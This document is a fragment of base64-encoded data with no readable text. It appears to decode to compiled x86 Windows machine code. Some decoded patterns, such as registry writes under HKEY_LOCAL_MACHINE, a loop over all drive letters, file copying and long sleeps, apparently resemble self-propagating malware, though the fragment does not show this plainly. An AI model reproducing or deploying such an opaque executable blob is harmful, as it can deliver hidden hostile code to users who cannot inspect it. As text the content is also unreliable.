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 fguAPDFAdAVBO8h89Ug7yHwEM8Bew41EMQFQ/3QkEOhcFQAAWVlqAVhew1WL7IHsFAIAAIA9 1DJJAABWD4SbAAAAgD3QMUkAAA+EjgAAAIN9EACLdQh0ElboA7b///91DFbo0sD//4PEDGpk aAABAABqGWjUMkkAjY3s/f//6NjJ//9qBGoKjUWcagNQ6L3U//+DxBCNRZyNjez9//9Q6DvO //+DxmSNjez9//9W6OrO//9o0DFJAI2N7P3//+gxzv//jY3s/f//6MTK//+FwHQQjY3s/f// 6FDK//8zwF7Jw/91DOh2FQAAWVCNjez9////dQzo9Mr//42N7P3//4vw6CbK//8zwIX2D5TA 689Vi+yB7BgDAABWi3UIjYXo/P//UFbotv7//1mFwFl1BzPA6boAAACDfRAAdBJW6B61//// dQxW6O2///+DxAxqZGgAAQAAjYXo/P//ahlQjY3s/f//6PHI//9qBGoKjUWcagNQ6NbT//+D xBCNRZyNjez9//9Q6FTN//+NRmSNjez9//9Q6APO//9WjY3s/f//6E7N//+Njez9///o4cn/ /4XAdBCNjez9///obcn//+lr/////3UM6JMUAABZUI2N7P3///91DOgRyv//jY3s/f//i/Do Q8n//zPAhfYPlMBeycNVi+yB7AAIAACApQD4//8AgKUA/P//AI2FAPj//1D/dQjoxv3//42F APz//1D/dQzot/3//42FAPz//1CNhQD4//9Q6ARlAACDxBj32BvAQMnDg+wQVVZXg0wkGP+9 ABAAAGoBVb7U8EAA/3QkKDP/iXwkIFbops///4PEEIXAD4XvAAAAV1boTtD//1k7x1mJRCQQ D46yAAAAUzPbhf+JXCQQfjNTVuj+z///WVlQV1bo9M///1lZUOhC////WYXAWXQIx0QkEAEA AABDO9981IN8JBAAdUxqAY1fATtcJBhYiUQkEH0uU1bou8///1lZUFdW6LHP//9ZWVDo//7/ /1mFwFl0BP9EJBBDO1wkFHzWi0QkEDtEJBh+CIlEJBiJfCQcRzt8JBQPjGz///+DfCQYAFt+ FYN8JBgAfA5V/3QkHFbow8///4PEDDP/agFV/3QkKFboxc7//4PEEIXAdRJVav9W6KHP//+D xAxHg/8KfNpqAVhfXl2DxBDDgewEAgAAU1VWV8dEJBABAAAAMtu+Xg5BAL0EAQAAvwEAAID/ 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 